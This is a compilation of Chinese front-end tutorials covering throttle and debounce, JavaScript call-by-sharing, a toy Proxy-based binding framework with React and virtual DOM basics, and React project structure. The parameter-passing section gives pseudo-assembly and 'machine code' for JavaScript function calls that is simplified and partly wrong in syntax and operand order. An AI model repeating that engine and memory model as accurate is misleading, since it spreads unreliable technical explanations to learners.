// 用debounce来包装scroll的回调
const better_scroll = debounce(() => console.log('触发了滚动事件'), 1000)

document.addEventListener('scroll', better_scroll)

用 Throttle 来优化 Debounce

debounce 的问题在于它“太有耐心了”。试想,如果用户的操作十分频繁——他每次都不等 debounce 设置的 delay 时间结束就进行下一次操作,于是每次 debounce 都为该用户重新生成定时器,回调函数被延迟了不计其数次。频繁的延迟会导致用户迟迟得不到响应,用户同样会产生“这个页面卡死了”的观感。

为了避免弄巧成拙,我们需要借力 throttle 的**,打造一个“有底线”的 debounce——等你可以,但我有我的原则:delay 时间内,我可以为你重新生成定时器;但只要delay的时间到了,我必须要给用户一个响应。这个 throttle 与 debounce “合体”思路,已经被很多成熟的前端库应用到了它们的加强版 throttle 函数的实现中:

// fn是我们需要包装的事件回调, delay是时间间隔的阈值
function throttle(fn, delay) {
  // last为上一次触发回调的时间, timer是定时器
  let last = 0, timer = null
  // 将throttle处理结果当作函数返回
  
  return function () { 
    // 保留调用时的this上下文
    let context = this
    // 保留调用时传入的参数
    let args = arguments
    // 记录本次触发回调的时间
    let now = +new Date()
    
    // 判断上次触发的时间和本次触发的时间差是否小于时间间隔的阈值
    if (now - last < delay) {
    // 如果时间间隔小于我们设定的时间间隔阈值,则为本次触发操作设立一个新的定时器
       clearTimeout(timer)
       timer = setTimeout(function () {
          last = now
          fn.apply(context, args)
        }, delay)
    } else {
        // 如果时间间隔超出了我们设定的时间间隔阈值,那就不等了,无论如何要反馈给用户一次响应
        last = now
        fn.apply(context, args)
    }
  }
}

// 用新的throttle包装scroll的回调
const better_scroll = throttle(() => console.log('触发了滚动事件'), 1000)

document.addEventListener('scroll', better_scroll)

参考:

Throttling and Debouncing in JavaScript
The Difference Between Throttling and Debouncing
Examples of Throttling and Debouncing
Remy Sharp’s blog post on Throttling function calls
前端性能优化原理与实践

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

clipboard.png

22. JavaScript 是如何工作的:JavaScript 的共享传递和按值传递

关于JavaScript如何将值传递给函数,在互联网上有很多误解和争论。大致认为,参数为原始数据类时使用按值传递,参数为数组、对象和函数等数据类型使用引用传递

按值传递 和 引用传递参数 主要区别简单可以说:

  • 按值传递:在函数里面改变传递的值不会影响到外面
  • 引用传递:在函数里面改变传递的值会影响到外面

但答案是 JavaScript 对所有数据类型都使用按值传递。它对数组和对象使用按值传递,但这是在的共享传参拷贝的引用中使用的按值传参。这些说有些抽象,先来几个例子,接着,我们将研究JavaScript在 函数执行期间的内存模型,以了解实际发生了什么。

按值传参

在 JavaScript 中,原始类型的数据是按值传参;对象类型是跟Java一样,拷贝了原来对象的一份引用,对这个引用进行操作。但在 JS 中,string 就是一种原始类型数据而不是对象类

let setNewInt = function (i) {
    i = i + 33;
};

let setNewString = function (str) {
    str += "cool!";
};

let setNewArray = function (arr1) {
    var b = [1, 2];
    arr1 = b;
};

let setNewArrayElement = function (arr2) {
    arr2[0] = 105;
};


let i = -33;
let str = "I am ";
let arr1 = [-4, -3];
let arr2 = [-19, 84];


console.log('i is: ' + i + ', str is: ' + str + ', arr1 is: ' + arr1 + ', arr2 is: ' + arr2);

setNewInt(i);
setNewString(str);
setNewArray(arr1);
setNewArrayElement(arr2);

console.log('现在, i is: ' + i + ', str is: ' + str + ', arr1 is: ' + arr1 + ', arr2 is: ' + arr2);

运行结果

i is: -33, str is: I am , arr1 is: -4,-3, arr2 is: -19,84
现在, i is: -33, str is: I am , arr1 is: -4,-3, arr2 is: 105,84

这边需要注意的两个地方:

**1)**第一个是通过 setNewString 方法把字符串 str 传递进去,如果学过面向对象的语言如C#,Java 等,会认为调用这个方法后 str 的值为改变,引用这在面向对象语言中是 string 类型的是个对象,按引用传参,所以在这个方法里面更改 str 外面也会跟着改变。

但是 JavaScript 中就像前面所说,在JS 中,string 就是一种原始类型数据而不是对象类,所以是按值传递,所以在 setNewString 中更改 str 的值不会影响到外面。

**2)**第二个是通过 setNewArray 方法把数组 arr1 传递进去,因为数组是对象类型,所以是引用传递,在这个方法里面我们更改 arr1 的指向,所以如果是这面向对象语言中,我们认为最后的结果arr1 的值是重新指向的那个,即 [1, 2],但最后打印结果可以看出 arr1 的值还是原先的值,这是为什么呢?

共享传递

Stack Overflow上Community Wiki 对上述的回答是:对于传递到函数参数的对象类型,如果直接改变了拷贝的引用的指向地址,那是不会影响到原来的那个对象;如果是通过拷贝的引用,去进行内部的值的操作,那么就会改变到原来的对象的。

可以参考博文 JavaScript Fundamentals (2) – Is JS call-by-value or call-by-reference?

function changeStuff(state1, state2)
{
  state1.item = 'changed';
  state2 = {item: "changed"};
}

var obj1 = {item: "unchanged"};
var obj2 = {item: "unchanged"};

changeStuff(obj1, obj2);
console.log(obj1.item);  // obj1.item 会被改变  
console.log(obj2.item);  // obj2.item 不会被改变

缘由: 上述的 state1 相当于 obj1, 然后 obj1.item = 'changed',对象 obj1 内部的 item 属性进行了改变,自然就影响到原对象 obj1 。类似的,state2 也是就 obj2,在方法里 state2 指向了一个新的对象,也就是改变原有引用地址,这是不会影响到外面的对象(obj2),这种现象更专业的叫法:call-by-sharing,这边为了方便,暂且叫做 共享传递

内存模型

JavaScript 在执行期间为程序分配了三部分内存:代码区调用堆栈。 这些组合在一起称为程序的地址空间。

image

代码区:这是存储要执行的JS代码的区域。

调用堆::这个区域跟踪当前正在执行的函数,执行计算并存储局部变量。变量以后进先出法存储在堆栈中。最后一个进来的是第一个出去的,数值数据类型存储在这里。

例如:

var corn = 95
let lion = 100

image

在这里,变量 cornlion 值在执行期间存储在堆栈中。

堆:是分配 JavaScript 引用数据类型(如对象)的地方。 与堆栈不同,内存分配是随机放置的,没有 LIFO策略。 为了防止堆中的内存漏洞,JS引擎有防止它们发生的内存管理器。

class Animal {}

// 在内存地址 0x001232 上存储 new Animal() 实例
// tiger 的堆栈值为 0x001232
const tiger = new Animal()

// 在内存地址 0x000001 上存储 new Objec实例
// `lion` 的堆栈值为 0x000001
let lion = {
    strength: "Very Strong"
}

image

Hereliontiger 是引用类型,它们的值存储在堆中,并被推入堆栈。它们在堆栈中的值是堆中位置的内存地址

激活记录(Activation Record),参数传递

我们已经看到了 JS 程序的内存模型,现在,让我们看看在 JavaScript 中调用函数时会发生什么。

// 例子一
function sum(num1,num2) {
    var result = num1 + num2
    return result
}
var a = 90
var b = 100
sum(a, b)

每当在 JS 中调用一个函数时,执行该函数所需的所有信息都放在堆栈上。这个信息就是所谓的激活记录(Activation Record)

这个 Activation Record,我直译为激活记录,找了好多资料,没有看到中文一个比较好的翻译,如果朋友们知道,欢迎留言。

激活记录上的信息包括以下内容:

  • SP 堆栈指针:调用方法之前堆栈指针的当前位置。
  • RA 返回地址:这是函数执行完成后继续执行的地址。
  • RV 返回值:这是可选的,函数可以返回值,也可以不返回值。
  • 参数:将函数所需的参数推入堆栈。
  • 局部变量:函数使用的变量被推送到堆栈。

我们必须知道这一点,我们在js文件中编写的代码在执行之前由 JS 引擎(例如 V8,Rhino,SpiderMonke y等)编译为机器语言。

所以以下的代码:

let shark = "Sea Animal"

会被编译成如下机器码:

01000100101010
01010101010101

上面的代码是我们的js代码等价。 机器码和 JS 之间有一种语言,它是汇编语言。 JS 引擎中的代码生成器在最终生成机器码之前,首先是将 js 代码编译为汇编代码。

为了了解实际发生了什么,以及在函数调用期间如何将激活记录推入堆栈,我们必须了解程序是如何用汇编表示的。

为了跟踪函数调用期间参数是如何在 JS 中传递的,我们将例子一的代码使用汇编语言表示并跟踪其执行流程。

先介绍几个概念:

ESP:(Extended Stack Pointer)为扩展栈指针寄存器,是指针寄存器的一种,用于存放函数栈顶指针。与之对应的是 EBP(Extended Base Pointer),扩展基址指针寄存器,也被称为帧指针寄存器,用于存放函数栈底指针。

EBP:扩展基址指针寄存器(extended base pointer) 其内存放一个指针,该指针指向系统栈最上面一个栈帧的底部。

EBP 只是存取某时刻的 ESP,这个时刻就是进入一个函数内后,cpu 会将ESP的值赋给 EBP,此时就可以通过 EBP 对栈进行操作,比如获取函数参数,局部变量等,实际上使用 ESP 也可以。

// 例子一
function sum(num1,num2) {
    var result = num1 + num2
    return result
}
var a = 90
var b = 100
var s = sum(a, b)

我们看到 sum 函数有两个参数 num1num2。函数被调用,传入值分别为 90100ab

记住:值数据类型包含值,而引用数据类型包含内存地址。

在调用 sum 函数之前,将其参数推入堆栈

ESP->[......] 

ESP->[   100 ]
     [   90  ]
     [.......]

然后,它将返回地址推送到堆栈。返回地址存储在EIP 寄存器中:

ESP->[Old EIP]
     [   100 ]
     [   90  ]
     [.......]

接下来,它保存基指针

ESP->[Old EBP]
     [Old EIP]
     [   100 ]
     [   90  ]
     [.......]

然后更改 EBP 并将调用保存寄存器推入堆栈。

ESP->[Old ESI]
     [Old EBX]
     [Old EDI]
EBP->[Old EBP]
     [Old EIP]
     [   100 ]
     [   90  ]
     [.......]

为局部变量分配空间:

ESP->[       ]
     [Old ESI]
     [Old EBX]
     [Old EDI]
EBP->[Old EBP]
     [Old EIP]
     [   100 ]
     [   90  ]
     [.......]

这里执行加法:

mov ebp+4, eax ; 100
add ebp+8, eax ; eax = eax + (ebp+8)
mov eax, ebp+16
ESP->[   190 ]
     [Old ESI]
     [Old EBX]
     [Old EDI]
EBP->[Old EBP]
     [Old EIP]
     [   100 ]
     [   90  ]
     [.......]

我们的返回值是190,把它赋给了 EAX。

mov ebp+16, eax

EAX 是"累加器"(accumulator), 它是很多加法乘法指令的缺省寄存器。

然后,恢复所有寄存器值。

[   190 ] DELETED
     [Old ESI] DELETED
     [Old EBX] DELETED
     [Old EDI] DELETED
     [Old EBP] DELETED
     [Old EIP] DELETED
ESP->[   100 ]
     [   90  ]
EBP->[.......]

并将控制权返回给调用函数,推送到堆栈的参数被清除。

[   190 ] DELETED
            [Old ESI] DELETED
            [Old EBX] DELETED
            [Old EDI] DELETED
            [Old EBP] DELETED
            [Old EIP] DELETED
            [   100 ] DELETED
            [   90  ] DELETED
[ESP, EBP]->[.......]

调用函数现在从 EAX 寄存器检索返回值到 s 的内存位置。

mov eax, 0x000002 ;  // s 变量在内存中的位置

我们已经看到了内存中发生了什么以及如何将参数传递汇编代码的函数。

调用函数之前,调用者将参数推入堆栈。因此,可以正确地说在 js 中传递参数是传入值的一份拷贝。如果被调用函数更改了参数的值,它不会影响原始值,因为它存储在其他地方,它只处理一个副本。

function sum(num1) {
    num1 = 30
}
let n = 90
sum(n)
// `n` 仍然为 90

让我们看看传递引用数据类型时会发生什么。

function sum(num1) {
    num1 = { number:30 }
}
let n = { number:90 }
sum(n)
// `n` 仍然是 { number:90 }

用汇编代码表示:

n -> 0x002233         
Heap:                       Stack:
002254                      012222
...                         012223 0x002233
002240                      012224
002239                      012225
002238
002237
002236
002235
002234
002233 { number: 90 }
002232
002231 { number: 30 }
Code:
 ...
000233 main:   // entry point
000234 push n  // n 值为 002233 ,它指向堆中存放 {number: 90} 地址。 n 被推到堆栈的 0x12223 处.
000235 ; // 保存所有寄存器
...
000239 call sum ;  // 跳转到内存中的`sum`函数
000240
 ...

000270 sum:
000271 ; // 创建对象 {number: 30} 内在地址主 0x002231
000271 mov 0x002231, (ebp+4) ;  // 将内存地址为 0x002231 中 {number: 30} 移动到堆栈 (ebp+4)。(ebp+4)是地址 0x12223 ,即 n 所在地址也是对象 {number: 90} 在堆中的位置。这里,堆栈位置被值 0x002231 覆盖。现在,num1 指向另一个内存地址。
000272 ; // 清理堆栈
...
000275 ret ; // 回到调用者所在的位置(000240)

我们在这里看到变量n保存了指向堆中其值的内存地址。 在sum 函数执行时,参数被推送到堆栈,由 sum 函数接收。

sum 函数创建另一个对象 {number:30},它存储在另一个内存地址 002231 中,并将其放在堆栈的参数位置。 将前面堆栈上的参数位置的对象 {number:90} 的内存地址替换为新创建的对象 {number:30} 的内存地址。

这使得 n 保持不变。因此,复制引用策略是正确的。变量 n 被推入堆栈,从而在 sum 执行时成为 n 的副本。

此语句 num1 = {number:30} 在堆中创建了一个新对象,并将新对象的内存地址分配给参数 num1。 注意,在 num1 指向 n 之前,让我们进行测试以验证:

// example1.js
let n = { number: 90 }
function sum(num1) {
    log(num1 === n)
    num1 = { number: 30 }
    log(num1 === n)
}
sum(n)


$ node example1
true
false

是的,我们是对的。就像我们在汇编代码中看到的那样。最初,num1 引用与 n 相同的内存地址,因为n被推入堆栈。

然后在创建对象之后,将 num1 重新分配到对象实例的内存地址。

让我们进一步修改我们的例子1:

function sum(num1) {
    num1.number = 30
}
let n = { number: 90 }
sum(n)
// n 成为了 { number: 30 }

这将具有与前一个几乎相同的内存模型和汇编语言。这里只有几件事不太一样。在 sum 函数实现中,没有新的对象创建,该参数受到直接影响。

...
000270 sum:
000271 mov (ebp+4), eax ; // 将参数值复制到 eax 寄存器。eax 现在为 0x002233
000271 mov 30, [eax]; // 将 30 移动到 eax 指向的地址

num1 是(ebp+4),包含 n 的地址。值被复制到 eax 中,30 被复制到 eax 指向的内存中。任何寄存器上的花括号 [] 都告诉 CPU 不要使用寄存器中找到的值,而是获取与其值对应的内存地址号的值。因此,检索 0x002233{number: 90} 值。

看看这样的答案

原始数据类型按值传递,对象通过引用的副本传递。

具体来说,当你传递一个对象(或数组)时,你无形地传递对该对象的引用,并且可以修改该对象的内容,但是如果你尝试覆盖该引用,它将不会影响该对象的副本- 即引用本身按值传递:

function replace(ref) {
    ref = {};           // 这段代码不影响传递的对象
}
function update(ref) {
    ref.key = 'newvalue';  // 这段代码确实会影响对象的内容
}
var a = { key: 'value' };
replace(a);  // a 仍然有其原始值,它没有被修改的
update(a);   // a 的内容被更改

从我们在汇编代码和内存模型中看到的。这个答案百分之百正确。在 replace 函数内部,它在堆中创建一个新对象,并将其分配给 ref 参数,a 对象内存地址被重写。

update 函数引用 ref 参数中的内存地址,并更改存储在存储器地址中的对象的key属性。

##总结

根据我们上面看到的,我们可以说原始数据类型和引用数据类型的副本作为参数传递给函数。不同之处在于,在原始数据类型,它们只被它们的实际值引用。JS 不允许我们获取他们的内存地址,不像在C与C++程序设计学习与实验系统,引用数据类型指的是它们的内存地址。

原文:https://blog.bitsrc.io/master-javascript-call-by-sharing-parameter-passing-7049d65163ed

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

19.JavaScript 是如何工作的:编写自己的 Web 开发框架 + React 及其虚拟 DOM 原理

响应式原理

Proxy 允许我们创建一个对象的虚拟代理(替代对象),并为我们提供了在访问或修改原始对象时,可以进行拦截的处理方法(handler),如 set()、get() 和 deleteProperty() 等等,这样我们就可以避免很常见的这两种限制(vue 中):

  • 添加新的响应性属性要使用 Vue.$set(),删除现有的响应性属性要使用
  • 数组的更新检测

Proxy

let proxy = new Proxy(target, habdler);
  • target:用 Proxy 包装的目标对象(可以是数组对象,函数,或者另一个代理)
  • handler:一个对象,拦截过滤代理操作的函数

实例方法

方法 描述
[handler.apply()][20] 拦截 Proxy 实例作为函数调用的操作
[handler.construct()][21] 拦截 Proxy 实例作为函数调用的操作
[handler.defineProperty()][22] 拦截 Object.defineProperty() 的操作
[handler.deleteProperty()][23] 拦截 Proxy 实例删除属性操作
[handler.get()][24] 拦截 读取属性的操作
[handler.set()][25] 截 属性赋值的操作
[handler.getOwnPropertyDescriptor()][26] 拦截 Object.getOwnPropertyDescriptor() 的操作
[handler.getPrototypeOf()][27] 拦截 获取原型对象的操作
[handler.has()][28] 拦截 属性检索操作
[handler.isExtensible()][29] 拦截 Object.isExtensible() 操作
[handler.ownKeys()][30] 拦截 Object.getOwnPropertyDescriptor() 的操作
[handler.preventExtension()][31] 截 Object().preventExtension() 操作
[handler.setPrototypeOf()][32] 拦截Object.setPrototypeOf()操作
[Proxy.revocable()][33] 创建一个可取消的 Proxy 实例

Reflect

Reflect 是一个内置的对象,它提供拦截 JavaScript 操作的方法。这些方法与处理器对象的方法相同。Reflect不是一个函数对象,因此它是不可构造的。

与大多数全局对象不同,Reflect没有构造函数。你不能将其与一个new运算符一起使用,或者将Reflect对象作为一个函数来调用。Reflect的所有属性和方法都是静态的(就像Math对象)。

为什么要设计 Reflect ?

1. 更加有用的返回值

早期写法:

try {
  Object.defineProperty(target, property, attributes);
  // success
} catch (e) {
  // failure
}

Reflect 写法:

if (Reflect.defineProperty(target, property, attributes)) {
  // success
} else {
  // failure
}

2. 函数式操作

早期写法:

'name' in Object //true

Reflect 写法:

Reflect.has(Object,'name') //true

3. 可变参数形式的构造函数

一般写法:

var obj = new F(...args)

Reflect 写法:

var obj = Reflect.construct(F, args)

当然还有很多,大家可以自行到 MND 上查看

什么是代理设计模式

代理模式(Proxy),为其他对象提供一种代理以控制对这个对象的访问。代理模式使得代理对象控制具体对象的引用。代理几乎可以是任何对象:文件,资源,内存中的对象,或者是一些难以复制的东西。现实生活中的一个类比可能是银行账户的访问权限。

例如,你不能直接访问银行帐户余额并根据需要更改值,你必需向拥有此权限的人(在本例中 你存钱的银行)询问。

var account = {
	balance: 5000
}

var bank = new Proxy(account, {
    get: function (target, prop) {
    	return 9000000;
    }
});

console.log(account.balance); // 5,000 
console.log(bank.balance);    // 9,000,000 
console.log(bank.currency);   // 9,000,000 

在上面的示例中,当使用 bank 对象访问 account 余额时,getter 函数被重写,它总是返回 9,000,000 而不是属性值,即使属性不存在。

var bank = new Proxy(account, {
    set: function (target, prop, value) {
        // Always set property value to 0
        return Reflect.set(target, prop, 0); 
    }
});

account.balance = 5800;
console.log(account.balance); // 5,800

bank.balance = 5400;
console.log(account.balance); // 0

通过重写 set 函数,可以修改其行为。可以更改要设置的值,更改其他属性,甚至根本不执行任何操作。

响应式

现在已经对代理设计模式的工作方式有了基本心,让就开始编写 JavaScript 框架吧。

为了简单起见,将模拟 AngularJS 语法。声明控制器并将模板元素绑定到控制器属性:

<div ng-controller="InputController">
    <!-- "Hello World!" -->
    <input ng-bind="message"/>   
    <input ng-bind="message"/>
</div>

<script type="javascript">
  function InputController () {
      this.message = 'Hello World!';
  }
  angular.controller('InputController', InputController);
</script>

首先,定义一个带有属性的控制器,然后在模板中使用这个控制器。最后,使用 ng-bind 属性启用与元素值的双向绑定。

解析模板并实例化控制器

要使属性绑定,需要获得一个控制器来声明这些属性, 因此,有必要定义一个控制器并将其引入框架中。

在控制器声明期间,框架将查找带有 ng-controller 属性的元素。

如果它符合其中一个已声明的控制器,它将创建该控制器的新实例,这个控制器实例只负责这个特定的模板。

var controllers = {};
var addController = function (name, constructor) {
    // Store controller constructor
    controllers[name] = {
        factory: constructor,
        instances: []
    };
    
    // Look for elements using the controller
    var element = document.querySelector('[ng-controller=' + name + ']');
    if (!element){
       return; // No element uses this controller
    }
    
    // Create a new instance and save it
    var ctrl = new controllers[name].factory;
    controllers[name].instances.push(ctrl);
    
    // Look for bindings.....
};

addController('InputController', InputController);

这是手动处理的控制器变量声明。 controllers 对象包含通过调用 addController 在框架内声明的所有控制器。

image

对于每个控制器,保存一个 factory 函数,以便在需要时实例化一个新控制器,该框架还存储模板中使用的相同控制器的每个新实例。

查找 bind 属性

现在,已经有了控制器的一个实例和使用这个实例的一个模板,下一步是查找具有使用控制器属性的绑定的元素。

    var bindings = {};
    
    // Note: element is the dom element using the controller
    Array.prototype.slice.call(element.querySelectorAll('[ng-bind]'))
        .map(function (element) {
            var boundValue = element.getAttribute('ng-bind');
    
            if(!bindings[boundValue]) {
                bindings[boundValue] = {
                    boundValue: boundValue,
                    elements: []
                }
            }
    
            bindings[boundValue].elements.push(element);
        });

上述中,它存储对象的所有绑的值定。该变量包含要与当前值绑定的所有属性和绑定该属性的所有 DOM 元素。

image

双向绑定

在框架完成了初步工作之后,接下就是有趣的部分:双向绑定。它涉及到将 controller 属性绑定到 DOM 元素,以便在代码更新属性值时更新 DOM。

另外,不要忘记将 DOM 元素绑定到 controller 属性。这样,当用户更改输入值时,它将更新 controller 属性,接着,它还将更新绑定到此属性的所有其他元素。

使用代理检测代码的更新

如上所述,Vue3 组件中通过封装 proxy 监听响应属性更改。 这里仅为控制器添加代理来做同样的事情。

// Note: ctrl is the controller instance
var proxy = new Proxy(ctrl, {
    set: function (target, prop, value) {
        var bind = bindings[prop];
        if(bind) {
            // Update each DOM element bound to the property  
            bind.elements.forEach(function (element) {
                element.value = value;
                element.setAttribute('value', value);
            });
        }
        return Reflect.set(target, prop, value);
    }
});

每当设置绑定属性时,代理将检查绑定到该属性的所有元素,然后用新值更新它们。

在本例中,我们只支持 input 元素绑定,因为只设置了 value 属性。

响应事件

最后要做的是响应用户交互,DOM 元素在检测到值更改时触发事件。

监听这些事件并使用事件的新值更新绑定属性,由于代理,绑定到相同属性的所有其他元素将自动更新。

Object.keys(bindings).forEach(function (boundValue) {
  var bind = bindings[boundValue];
  
  // Listen elements event and update proxy property   
  bind.elements.forEach(function (element) {
    element.addEventListener('input', function (event) {
      proxy[bind.boundValue] = event.target.value; // Also triggers the proxy setter
    });
  })  
});

React && Virtual DOM

接着将学习了解决如何使用单 个HTML 文件运行 React,解释这些概念:functional component,函数组件, JSX 和 Virtual DOM。

React 提供了用组件构建代码的方法,收下,创建 watch 组 件。

<!-- Skipping all HTML5 boilerplate -->
<script src="https://unpkg.com/[email protected]/umd/react.development.js"></script>
<script src="https://unpkg.com/[email protected]/umd/react-dom.development.js"></script>

<!-- For JSX support (with babel) -->
<script src="https://unpkg.com/[email protected]/babel.min.js" charset="utf-8"></script> 

<div id="app"></div> <!-- React mounting point-->

<script type="text/babel">
  class Watch extends React.Component {
    render() {
      return <div>{this.props.hours}:{this.props.minutes}</div>;
    }
  }

  ReactDOM.render(<Watch hours="9" minutes="15"/>, document.getElementById('app'));
</script>

忽略依赖项的 HTML 样板和脚本,剩下的几行就是 React 代码。首先,定义 Watch 组件及其模板,然后挂载React 到 DOM中,来渲染 Watch 组件。

向组件中注入数据

我们的 Wacth 组件很简单 ,它只展示我们传给它的时和分钟。

你可以尝试修改这些属性的值(在 React中称为 props )。它将最终显示你传给它的内容,即使它不是数字。

const Watch = (props) =>
  <div>{props.hours}:{props.minutes}</div>;

ReactDOM.render(<Watch hours="Hello" minutes="World"/>, document.getElementById('app'));

props 只是通过周围组件传递给组件的数据,组件使用 props 进行业务逻辑和呈现。

但是一旦 props 不属于组件,它们就是不可变的(immutable)。因此,提供 props 的组件是能够更新props 值的唯一代码。

使用 props 非常简单,使用组件名称作为标记名称创建 DOM 节点。 然后给它以 props 名的属性,接着通过组件中的 this.props 可以获得传入的值。

那些不带引号的 HTML 呢?

注意到 render 函数返回的不带引号的 HTML, 这个使用是 JSX 语法,它是在 React 组件中定义 HTML 模板的简写语法。

// Equivalent to JSX: <Watch hours="9" minutes="15"/>
React.createElement(Watch, {'hours': '9', 'minutes': '15'});

现在你可能希望避免使用 JSX 来定义组件的模板,实际上,JSX 看起来像 语法糖

以下代码片段,分别使用 JSX 和 React 语法以构建相同结果。

// Using JS with React.createElement
React.createElement('form', null, 
  React.createElement('div', {'className': 'form-group'},
    React.createElement('label', {'htmlFor': 'email'}, 'Email address'),
    React.createElement('input', {'type': 'email', 'id': 'email', 'className': 'form-control'}),
  ),
  React.createElement('button', {'type': 'submit', 'className': 'btn btn-primary'}, 'Submit')
)

// Using JSX
<form>
  <div className="form-group">
    <label htmlFor="email">Email address</label>
    <input type="email" id="email" className="form-control"/>
  </div>
  <button type="submit" className="btn btn-primary">Submit</button>
</form>

进一步探索虚拟 DOM

最后一部分比较复杂,但是很有趣,这将帮助你了解 React 底层的原理。

更新页面上的元素 (DOM树中的节点) 涉及到使用 DOM API。它将重新绘制页面,但可能很慢(请参阅本文了解原因)。

许多框架,如 React 和 Vue.js 绕过了这个问题,它们提出了一个名为虚拟 DOM 的解决方案。

{
   "type":"div",
   "props":{ "className":"form-group" },
   "children":[
     {
       "type":"label",
       "props":{ "htmlFor":"email" },
       "children":[ "Email address"]
     },
     {
       "type":"input",
       "props":{ "type":"email", "id":"email", "className":"form-control"},
       "children":[]
     }
  ]
}

想法很简单。读取和更新 DOM 树非常昂贵。因此,尽可能少地进行更改并更新尽可能少的节点。

减少对 DOM API 的调用及将 DOM 树结构保存在内存中, 由于讨论的是 JavaScript 框架,因此选择JSON 数据结构比较合理。

这种处理方式会立即展示了虚拟 DOM 中的变化。

此外虚拟 DOM 会先缓存一些更新操作,以便稍后在真正 DOM 上渲染,这个样是为了频繁操作重新渲染造成一些性能问题。

你还记得 React.createElement 吗? 实际上,这个函数作用是 (直接调用或通过 JSX 调用) 在 Virtual DOM 中 创建一个新节点。

要应用更新,Virtual DOM核心功能将发挥作用,即 协调算法,它的工作是提供最优的解决方案来解决以前和当前虚拟DOM 状态之间的差异。

原文:

https://medium.freecodecamp.org/a-quick-guide-to-learn-react-and-how-its-virtual-dom-works-c869d788cd44

https://medium.freecodecamp.org/how-to-improve-your-javascript-skills-by-writing-your-own-web-development-framework-eed2226f190

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

React 项目结构和组件命名规范

React 作为一个库,它没有规定项目的整体结构。这很好,因为它给了我们自由去尝试不同的方法,并适应更适合我们的方式。另一方面,这可能会给React领域的开发人员带来一些困惑。

我将会在本文为大家展示我已经使用过一段时间并且效果不错的方式,这些方式没有通过重新造轮子来实现,而是通过将社区中的方案组合和提炼得到。

目录结构

我经常遇到的一个问题是如何组织文件和目录结构。在这篇文章中,我们认为你已有一个最小的结构,就像用 create-react-app 创建的结构一样。

create-react-app 为我们生成了一个基础的项目,包含根目录还有诸如.gitignore, package.json, README.md, yarn.lock 的文件。

它还生成 publicsrc目录, src目录是我们保存源代码的地方。

请看下面的图片,以及描述的结构:

image

在这篇文章中,我们只关注src目录,src 之外保持不变。

容器和组件 (Containers and Components)

你可能已经在某些项目的根目录下看到了容器和展示组件之间的分离。我的意思是,在src中,在 src 目录下有 containers 目录和 components 目录:

src
├─ components 
└─ containers

但是,这种方法有一些问题,如下所示:

  • 主观的规则:对于容器和展示组件,没有明确的规则。彼此之间的差异可能是主观的,当你在一个团队中时,很难让所有开发人员赞成并评判这个问题。

  • 它没有考虑组件的动态性:即使当你决定某个组件适合于某个特定类型时,也很容易在项目生命周期中对其进行更改,使其从另一种类型变为另一种类型,最终迫使你把它从 components 挪到 containers 目录下,反之亦然。

  • 允许两个具有相同名称的组件:组件的命名在应用程序中具有声明性和惟一性,以避免混淆每个组件的职责。但是,上面的方式破坏了具有相同名称的两个组件,一个是容器,另一个是展示示组件。

  • 效率低下: 即使你在实现一个独立特性时,也不得不经常在 containerscomponents 目录下来回切换,因为一个独立特性有两种不同类型的组件是再正常不过的事情了。

还有一种方法,在模块内部保存containerscomponents分离:

src
└─ User
  ├─ components
  └─ containers

上述方法最大限度地减少了在项目树中不同层级目录切换的问题。然而,它会增加很多噪音。根据你的应用程序有多少模块,你最终会创建几十个containerscomponents 目录。

出于这些原因,当我们谈论组织目录和文件时,通过展示与容器的概念来拆分组件是无关紧要的。 也就是说,除页面外,我们将把所有组件放在 components 目录下。

即使在目录上区分展示组件和容器组件是没有太多必要的,了解它们之间的差异性依然是有必要的。如果你对这个话题还有疑问,建议阅读这篇文章:Presentational and Container Components

拆分和组合代码

components目录中,我们按模块/功能对文件进行分组。

在用户的增删改查中,我们只有User模块,结构是这样的

src
└─ components
  └─ User
    ├─ Form.jsx
    └─ List.jsx

当组件由多个文件组成时,我们将此组件及其文件放在具有相同名称的目录下。 例如:假设有一个包含Form.jsx样式的Form.css。 在这种情况下,你的结构如下:

src
└─ components
  └─ User
    ├─ Form
    │ ├─ Form.jsx
    │ └─ Form.css
    └─ List.jsx

测试文件与被测试的文件保持一致。在上面的例子中,Form.jsx 的测试文件会放在同一个文件夹下并且命名为 Form.spec.jsx

UI 组件

除了通过模块拆分组件之外,我们还在src/components中包含一个 UI 目录,以保留其中的所有通用组件。

UI 组件是通用的组件,不属于模块。 它们是可以保留在开源库中的组件,因为它们没有来自特定应用程序的任何业务逻辑。 这些组件的示例包括:按钮,输入,复选框,选择,模态框,数据可视化组件等等。

命名组件中的类

上面我们看到了如何构建目录并按模块分离我们的组件。 但是,还有一个问题:如何命名它们?

当我们谈论命名组件时,它涉及我们给类或定义组件的常量名称:

class MyComponent extends Component {
}
const MyComponent () => {};

如上所述,我们为组件提供的名称应该在应用程序中清晰且独特,以便更容易找到并避免可能的混淆。

当我们需要使用工具作为React Dev工具进行调试时,以及当应用程序中发生运行时错误时,组件的名称非常方便,错误总是与发生错误的组件名一起出现。

我们采用基于路径的组件命名方式,即根据相对于 components 文件目录的相对路径来命名,如果在此文件夹以外,则使用相对于 src 目录的路径。举个例子,组件的路径如果是 components/User/List.jsx,那么它就被命名为 UserList

当文件位于具有相同名称的组件中时,我们不需要重复该名称。 也就是说,components/User/Form/Form.jsx将被命名为UserForm而不是UserFormForm

上面的模式有一些好处,我们可以在下面看到:

便于在项目中搜索文件

如果编辑器支持模糊搜索,只需搜索名称UserForm就可以找到正确的文件

image

如果你想要在目录中搜索文件,可以很容易地通过组件的名字定位到它:

image

避免在导入重复名称

按照该模式,可以始终根据文件的上下文为组件命名。考虑到上面的表单,我们知道它是一个用户表单,但是由于我们已经在 User 目录中 ,所以不需要在组件文件名中重复这个单词。因此,我们只将它命名为Form.jsx

我最初使用 React 的时候喜欢用完整的名字来命名文件,但是这样会导致相同的部分重复太多次,同时引入时的路径太长。来看看这两种方式的区别:

import ScreensUserForm from './screens/User/UserForm';
// vs
import ScreensUserForm from './screens/User/Form';

